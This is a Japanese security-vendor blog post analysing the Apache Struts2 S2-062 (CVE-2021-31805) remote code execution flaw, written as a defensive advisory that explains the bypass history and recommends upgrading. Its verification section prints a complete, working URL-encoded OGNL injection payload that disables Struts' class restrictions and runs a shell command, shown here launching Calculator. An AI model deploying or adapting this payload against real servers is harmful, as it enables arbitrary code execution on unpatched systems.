Apache Struts2の脆弱性（CVE-2021-31805, S2-062）のPoC検証 

2022年4月12日(米国時間)にApache Struts 2の脆弱性(CVE-2021-31805, S2-062)が公開されました。本記事では本脆弱性に関する弊社の考察と検証結果を記載します。

### AeyeScanの対応

AeyeScanではCVE-2021-31805を検出するスキャンルールを2022年4月22日の定期アップデート時にリリースいたします。
AeyeScanのトライアル、脆弱性診断の自動化のご相談は[こちら](https://www.aeyescan.jp)

### 脆弱性の概要
本脆弱性は、2020年12月8日(米国時間)に情報が公開されたApache Struts2の脆弱性(CVE-2020-17530, S2-061)の修正が不十分であったことに起因する脆弱性です。
本脆弱性を悪用することで遠隔の第三者が任意のコードを実行できます。

#### 影響を受けるバージョン
Struts2.0.0 - Struts2.5.29

#### 対策
Struts2.5.30以上へのアップデート

### 脆弱性の発生経緯と考察
#### S2-061の脆弱性
S2-062の元となるS2-061の脆弱性について。報告者の一人であるAlvaro Munoz氏が[解説記事](https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2/)を公開しています。この記事によると、一部のタグの属性でOGNL式の二重評価が行われる旨を報告したようです。
また、もう一人のS2-061の報告者であるMasato Anzai(筆者)は、id属性に細工した攻撃コードを送信することによりS2-059の対応が回避可能である旨を報告しました。

その結果、S2-061を解決するリリースで

- id属性を二重評価するコードを消す
- name属性を二重評価しうるコードに緩和策を入れる
  - 1回目の評価結果が"%{"と"}"を含む場合、2回目の評価を実行しない
- OGNL式の制限を強化するという緩和策を入れる
  - struts.excludedPackageNamesプロパティに"org.apache.tomcat."等の値を追加

などの対応がとられました。

#### S2-062の脆弱性
上記にある2つの緩和策を回避し、攻撃を成立させたのがS2-062の脆弱性のようです。
具体的な回避方法はS2-062の報告者であるChris McCownによる[解説記事](https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html)に記載されています。
しかしながら、S2-062の修正バージョンの[ReleaseNote](https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.30)を確認すると、単純に解説記事の内容のみを修正したわけではないことがわかります。

ReleaseNoteより抜粋

> Internal Changes
Yasser's PR has been merged which contains a fix to double evaluation security vulnerability - it should solve any future attack vectors, yet it can impact your application if you have been depending on double evaluation.
How to test
Run all your app tests, you shouldn't see any WARN log like below:
Expression [so-and-so] isn't allowed by pattern [so-and-so]! See Accepted / Excluded patterns at
https://struts.apache.org/security/
See if following components are still functioning correctly regarding java-scripts:
forms with client side validations
doubleselect
combobox
Check also StreamResults, AliasInterceptors and JasperReportResults if they are still working as expected.

これによると、Man Yue Mo氏による[Apache Struts double evaluation RCE lottery](https://securitylab.github.com/research/apache-struts-double-evaluation/) のブログ（素晴らしいブログです）で報告された問題を解決する[PR](https://github.com/apache/struts/pull/496)をマージしており、修正範囲は多岐に渡ります。(ただし、上記ブログで取り上げられた問題を全て解決している訳ではないようです。)
更に、上記ブログは[S2-059のReferences](https://cwiki.apache.org/confluence/display/WW/S2-059)にも記載されているため、前後関係がよく分からなくなります。
また、forms with client side validationsが何を指しているのかは確認することができませんでした。

### 検証
以上の経緯と考察から、不明な点は残るものの、

- S2-061の制限の回避 (name属性への細工したpayloadの挿入)

について検証を実施しました。

#### 検証環境
- Macbook Air macOS Montely
- Struts 2.5.29
- Tomcat 9.0.37

検証に使用したアプリケーションのDockerファイルは https://github.com/aeyesec/CVE-2021-31805 からダウンロード可能です。

#### 検証手順と検証結果
以下のコードをstruts2-showcase-2.5.29/WEB-INF/empmanager/listSkills.jsp内に追記します
```
<s:label id="test" name="%{skillName}" />
```
攻撃用のpayloadを含む以下のURLにアクセスします
```
http://localshot:8080/struts2-showcase-2.5.29/skill/list.action?skillName=%28%23request.map%3d%23@org.apache.commons.collections.BeanMap@%7b%7d%29.toString%28%29.substring%280%2c0%29+%2b%0d%0a%28%23request.map.setBean%28%23request.get%28%27struts.valueStack%27%29%29+%3d%3d+true%29.toString%28%29.substring%280%2c0%29+%2b%0d%0a%28%23request.map2%3d%23@org.apache.commons.collections.BeanMap@%7b%7d%29.toString%28%29.substring%280%2c0%29+%2b%0d%0a%28%23request.map2.setBean%28%23request.get%28%27map%27%29.get%28%27context%27%29%29+%3d%3d+true%29.toString%28%29.substring%280%2c0%29+%2b%0d%0a%28%23request.map3%3d%23@org.apache.commons.collections.BeanMap@%7b%7d%29.toString%28%29.substring%280%2c0%29+%2b%0d%0a%28%23request.map3.setBean%28%23request.get%28%27map2%27%29.get%28%27memberAccess%27%29%29+%3d%3d+true%29.toString%28%29.substring%280%2c0%29+%2b%0d%0a%28%23request.get%28%27map3%27%29.put%28%27excludedPackageNames%27%2c%23@org.apache.commons.collections.BeanMap@%7b%7d.keySet%28%29%29+%3d%3d+true%29.toString%28%29.substring%280%2c0%29+%2b%0d%0a%28%23request.get%28%27map3%27%29.put%28%27excludedClasses%27%2c%23@org.apache.commons.collections.BeanMap@%7b%7d.keySet%28%29%29+%3d%3d+true%29.toString%28%29.substring%280%2c0%29+%2b%0d%0a%28%23application.get%28%27org.apache.tomcat.InstanceManager%27%29.newInstance%28%27freemarker.template.utility.Execute%27%29.exec%28%7b%27open+-a+Calculator%27%7d%29%29
```
攻撃が成功しCalculatorが起動されることを確認しました
![スクリーンショット 2022-04-19 21.33.15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2422105/7ba6dbf6-9059-6604-a3f7-a2639ae6da2d.png)


### まとめ
考察および検証の結果、攻撃が成立する前提条件は厳しいですが、公開されているPoCコードにより遠隔の第三者が任意のコードを実行可能なことがわかりました。早急なアップデートを推奨いたします。

### 参考情報
- https://cwiki.apache.org/confluence/display/WW/S2-059
- https://cwiki.apache.org/confluence/display/WW/S2-061
- https://cwiki.apache.org/confluence/display/WW/S2-062
- https://securitylab.github.com/research/apache-struts-double-evaluation/
- https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html